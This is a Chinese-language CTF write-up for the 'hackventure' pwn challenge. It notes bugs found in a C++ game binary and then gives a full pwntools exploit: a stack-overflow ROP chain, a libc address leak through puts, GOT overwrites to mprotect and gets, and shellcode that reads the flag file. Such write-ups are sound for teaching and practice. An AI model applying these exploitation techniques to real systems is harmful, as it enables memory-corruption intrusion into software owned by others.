抽出世间将UCTF Final中的hackventure给记录下,算是个总结。题目是有一个游戏,游戏地图是随机生成的,用户可以攻打Server,如果3个Server都被攻占的话,那么用户就赢了,但是并没有Flag。
题目以及IDB见:http://files.cnblogs.com/files/wangaohui/hackventure-blog.zip
题目是一个C++的题目,结构体也不少,把结构体都建立后,逆起来轻松不少。把题目逆了一遍后,首先发现的是个整数溢出,然而并不知道怎么利用。其次发现的还有对空指针进行解引用造成的崩溃,以及free后全局变量区指针并没有清零等。但是这些都不知道怎么利用。后来发现一个栈溢出,而且溢出的空间很大,完全可以来做ROP,在程序本身的_libc_csu_init里有好用的通用Gadget。
漏洞位置:
EXP:
import sys from pwn import * #context.log_level='debug' #by wah exe = 'hackventure' ip = '127.0.0.1' port = 10001 #ip = '10.250.100.12' #port = 6666 me = [0,0] home = [0,0] store = [0,0] server = [[0,0],[0,0],[0,0]] #100 10.10.10.1 #200 10.1.11.1 server100 = [0,0] server200 = [0,0] server300 = [0,0] def getpid(): time.sleep(0.1) pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!') def walk(f,t): if f==t: return global r x= t[0]-f[0] y = t[1]-f[1] #print f,t #print x,y if x<0: for i in range(-x): r.sendline('go up') elif x>0: for i in range(x): r.sendline('go down') else: pass if y<0: for i in range(-y): r.sendline('go left') elif y>0: for i in range(y): r.sendline('go right') else: pass def getinfo(): global r,me,home,store,server,server100,server200,server300 r.recvuntil('+--------------------------------+\n') matrix = r.recvuntil('\n+--------------------------------+\n') print matrix #print binascii.hexlify(matrix) sr = [] for i in range(len(matrix)): if matrix[i] == 'T': s = i elif matrix[i] == 'S': sr.append(i) elif matrix[i] == 'H': h = i elif matrix[i] == '*': m = i else: pass me[1] = m%35 me[0] = m/35+1 home[1] = h%35 home[0] = h/35+1 store[1] = s%35 store[0] = s/35+1 server[0][1] = sr[0]%35 server[0][0] = sr[0]/35+1 server[1][1] = sr[1]%35 server[1][0] = sr[1]/35+1 server[2][1] = sr[2]%35 server[2][0] = sr[2]/35+1 walk(me,server[0]) me = server[0] r.sendline('explore') r.recvuntil('IP: ') ip = r.recvuntil('\n').strip() #print ip r.recvuntil('HP: ') hp = r.recvuntil('\n').strip() if ip == '10.10.10.1': server100 = server[0] elif ip == '10.1.11.1': server200 = server[0] else: server300 = server[0] data = r.recvuntil('$ ') walk(me,server[1]) me = server[1] r.sendline('explore') r.recvuntil('IP: ') ip = r.recvuntil('\n').strip() #print ip r.recvuntil('HP: ') hp = r.recvuntil('\n').strip() if ip == '10.10.10.1': server100 = server[1] elif ip == '10.1.11.1': server200 = server[1] else: server300 = server[1] data = r.recvuntil('$ ') walk(me,server[2]) me = server[2] r.sendline('explore') r.recvuntil('IP: ') ip = r.recvuntil('\n').strip() #print ip r.recvuntil('HP: ') hp = r.recvuntil('\n').strip() if ip == '10.10.10.1': server100 = server[2] elif ip == '10.1.11.1': server200 = server[2] else: server300 = server[2] data = r.recvuntil('$ ') #print server100,server200,server300 def local_attack(): r.sendline('local_attack') def remote_attack(ip): r.sendline('remote_attack ' + ip) def remote_attacks(ips): r.sendline('remote_attacks ' + ips) r = remote(ip,port) r.sendline('map') getinfo() walk(me,server100) me=server100 local_attack() local_attack() r.recvuntil('You have compromised server 10.10.10.1, good job!\n') r.sendline('5') r.recvuntil('Name? ') r.sendline('wah') #remote_attack('10.1.11.1') r.sendline('status') r.recvuntil('*** Hacker\'s Profile ***') r.recvuntil('$ ') walk(me,home) me=home r.sendline('goodnight') walk(me,server100) me=server100 getpid() sc = '''call a; a:pop rcx; add rcx,35 push rcx ret .string "/home/flag/hackventure/flag"; lea rdi,[rcx-28]; mov rax,2; mov rsi,0; syscall; mov rdi,rax; xor rax,rax; mov rsi,0x605200; mov rdx,16; syscall; mov rdi,1; mov rsi,0x605200; mov rdx,16; mov rax,1; syscall; mov rax,60; xor rdi,rdi; syscall;''' shellcode=asm(sc,arch='amd64',os='linux') fakeebp = 0xaaaaaaaaaaaaaaaa pop_rdi_ret = 0x4029F3 pop_rsi_r15_ret = 0x4029F1 atoi_got = 0x604098 puts_plt = 0x400840 call_getstring = 0x4014BC #buf_to_store_mprotect = 0x604600 buf_to_store_mprotect_gets = 0x6040A0 buflen = 18 rubbish = 0xaaaaaaaa pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4029EA call_mprotect = 0x4029D0 memo_to_exec = 0x604000 memo_len = 0x3000 memo_prot = 0x7 shellcode_addr = 0x605000 shellcode_len = 0x1000 plt_jmp_gets = 0x400940 rop = '' rop += p64(pop_rdi_ret) rop += p64(atoi_got) rop += p64(puts_plt) rop += p64(pop_rdi_ret) rop += p64(buf_to_store_mprotect_gets) rop += p64(pop_rsi_r15_ret) rop += p64(buflen) rop += p64(rubbish) rop += p64(call_getstring) rop += 'a'*0x68 rop += p64(pop_rbx_rbp_r12_r13_r14_r15_ret) rop += p64(0) rop += p64(1) rop += p64(buf_to_store_mprotect_gets) rop += p64(memo_prot) rop += p64(memo_len) rop += p64(memo_to_exec) rop += p64(call_mprotect) rop += p64(rubbish) rop += p64(0)#rbx rop += p64(0)#rbp rop += p64(0)#r12 rop += p64(0)#r13 rop += p64(0)#r14 rop += p64(0)#r15 rop += p64(pop_rdi_ret) rop += p64(shellcode_addr) rop += p64(plt_jmp_gets) rop += p64(shellcode_addr) fuck1 = p64(fakeebp) + rop remote_attacks('1,2,3,4,'+fuck1) walk(me,server300) local_attack() local_attack() local_attack() local_attack() local_attack() r.recvuntil('Game Over!\n') data = r.recvuntil('\n')[:-1] atoi = u64(data + (8-len(data))*'\x00') log.info("Leaked atoi: "+hex(atoi)) mprotect = atoi+0xbaa30 gets = atoi +0x354d0 data = p64(mprotect) + p64(gets) #overwrite got to mprotect and gets r.sendline(data) #write shellcode r.sendline(shellcode) r.recvuntil('Please own this server first.\n') flag = r.recv(16) print flag r.close()